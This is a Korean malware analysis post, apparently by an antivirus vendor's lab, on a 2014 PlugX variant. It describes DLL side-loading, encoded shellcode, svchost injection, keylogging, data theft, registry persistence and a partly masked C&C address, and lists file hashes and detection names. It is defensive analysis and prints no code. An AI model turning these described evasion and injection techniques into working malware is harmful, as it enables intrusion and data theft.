최근 발견되는 샘플은 기존 알려진 정상 프로그램과 달리 새로운 모듈들이 발견되고 있으며, 내부적으로 사용하는 쉘 코드(Shell Code) 및 2차 악성파일인 키로거(Keylogger) 파일이 압축+인코딩된 형태로 유포되고 있어, 백신의 탐지를 어렵도록 한다.


 

1. 동작과정

아래의 [그림-1]은 2014 9 접수된 PlugX 악성파일의 실행 흐름을 나타낸다. "dvcemumanager.exe" 파일은 정상 프로그램이며, "DESqmWrapper.dll" 이라는 이름의 DLL 모듈을 구동하는 기능을 갖고 있다. 여기서 악성 파일은 "DESqmWrapper.dll" 파일이며, 내부에 암호화된 데이터파일 "DESqmWrapper.wrapper" 을 참조하여 2차 악성파일을 메모리 상에서 생성/구동하는 기능을 수행한다.

[그림-1] PlugX 동작과정 (2014년 9월)


2. 주요기능

최초 악성 드로퍼(Dropper)는 실행 후, 아래의 [그림-2]에서 처럼 특정경로에 파일들을 생성하며, 해당 폴더 및 파일들에 숨김 속성을 부여하여, 사용자가 쉽게 발견할 수 없도록 한다.


[그림-2] PlugX 악성코드 감염 시, 폴더의 내용


[그림-2]에서 생성한 파일들의 구성은 다음과 같다.

(1) "dvcemumanager.exe" : 정상 프로그램

(2) "DESqmWrapper.dll" : 악성파일

(3) "DESqmWrapper.wrapper" : 악성 데이터 파일 ('쉘코드' + '2차 악성 키로거 파일 압축+암호화')

(2) "dazc" : 키로깅 정보 저장 시 사용하는 데이터 파일

(3) "wzplkblzouebjhscu" : 8바이트 데이터 파일

 

 

악성 "DESqmWrapper.dll"파일의 주요기능은 자신을 구동한 정상 EXE 프로세스의 메모리 영역을 패치(Patch)하여 DLL 의 코드를 수행하도록 강제 분기시키며, "DESqmWrapper.wrapper" 데이터파일을 읽어 내부에 존재하는 쉘코드를 구동한다.

 

아래의 [그림-3]은 각 단계별 동작을 설명한다.

[그림-3] PlugX 단계별 동작과정

 

(1) 정상 "dvcemumanager.exe" 파일의 동작 구조에 의해 동일폴더의 악성 "DESqmWrapper.dll" 파일이 로드된다.

(2) 악성 DLL의 EntryPoint Code가 실행되면 자신을 로드한 EXE 프로세스의 다음 명령어 코드를 JMP 코드로 패치(Patch)하여, DLL 메인코드가 실행되도록 한다.

(3) 실행흐름은 DLL 코드로 분기하며, EXE 파일의 이후 코드는 동작하지 않는다.

(4) 악성 DLL의 메인코드가 실행되면 동일 폴더의 "DESqmWrapper.wrapper" 파일을 메모리에 읽어들여 해당 쉘코드를 실행한다.

(5) 로드된 쉘코드는 디코딩 루틴을 수행하며, svchost.exe 프로세스를 생성하며 메모리에 디코딩된 코드를 주입(Inject)한다.

(6) svchost.exe 프로세스에 인젝션된 코드는 키로깅, 시스템 정보유출, 화면캡쳐 등의 백도어 기능을 수행한다.

 

 

[그림-4]는 [그림-3]의 (2) 단계에 해당하는 메모리 패치코드 영역이다.

[그림-4] PlugX에 의해 메모리 패치된 JMP 코드

 

해당 DLL 코드가 실행되면 [그림-5]와 같이 동일 폴더내의 "DESqmWrapper.wrapper" 파일을 읽은 후, 실행한다.

 [그림-5] "DESqmWrapper.wrapper" 파일을 참조하는 부분

 

"DESqmWrapper.wrapper" 파일은 외형적으로는 정상적인 데이터 파일로 보이나 실제로는 동작 가능한 쉘 코드로 이루어져 있다

2012년 접수되었던 PlugX 악성코드와의 차이점은, 해당 쉘 코드의 진단 회피를 위해 인코딩(Encoding)된 형태로 배포하고 있으며, 메모리에 로드된 이후에 인코딩된 코드를 디코딩(Decoding)하여 유효한 명령어를 재조합한다.

 

 [그림-6] 2012년 접수된 PlugX 쉘 코드 파일

 

쉘 코드는 아래의 [그림-7]와 같이 여러 반복문 통해 디코딩 작업이 이루어진다.

[그림-7] 셀코드 디코딩 과정

 

또한, 정상 "svchost.exe" 프로세스를 생성하여, 해당 프로세스 메모리 영역에 악성코드를 삽입(Injection)하며 주기적으로 악의적인 동작을 수행하도록 한다.


[그림-8] 인젝션된 svchost.exe 프로세스

 

PlugX 악성코드에서 유출하는 정보는 다음과 같다.

- 활성화된 프로세스 클래스명

- 실행중인 프로세스 경로 

- 악성코드가 동작하는 시스템의 시간정보

- 사용자 이름

- 컴퓨터 이름 

- 키보드 입력 값

- 파일/디스크 정보

- 화면캡쳐

 

 

PlugX는 윈도우 시스템 구동 시, 자동으로 동작하도록 하기위해 다음의 레지스트리값을 등록한다.

HKLM\SYSTEM\CurrentControlSet\Services\DEManager\ImagePath

> "C:\Documents and Settings\All Users\DRM\DEManager\dvcemumanager.exe"

HKLM\SYSTEM\CurrentControlSet\Services\DEManager\DisplayName

> "DEManager"

HKLM\SYSTEM\CurrentControlSet\Services\DEManager\Start

> 0x2

 

획득한 정보는 아래의 [그림-9]와 같이 인코딩하여 "dazc"파일로 저장한다.

 [그림-9] 유출정보 암호화된 형태


"svchost.exe" 프로세스에 인젝션된 코드는 공격자 C&C 서버에 접속하기 위해 주기적으로 연결을 시도하며 주소는 악성코드 내부에 고정되어 있다.

- 1*3.*41.5*.42:80

 

[그림-10] 전송되는 패킷 덤프

 

3. 진단

V3 제품군에서는 해당 PlugX류 악성코드를 다음과 같이 진단한다.

MD5

파일명

진단명

65F2D9866F52B8E8770E81EC327804EA

DESqmWrapper.dll

Trojan/Win32.Agent

1BA72A47060E965F5A8BF079702BFBED

DESqmWrapper.wrapper

BinImage/Plugx

B631661F8A4D0BC8DCEEA0BBD16F53C0

RasTls.dll

Trojan/Win32.PlugX

8DF01FBF7F9B72F56AF6FAE71C2C33C4

RasTls.dll.ak

BinImage/Plugx

 


 

 

신고
Creative Commons License
Creative Commons License
Posted by a0_zest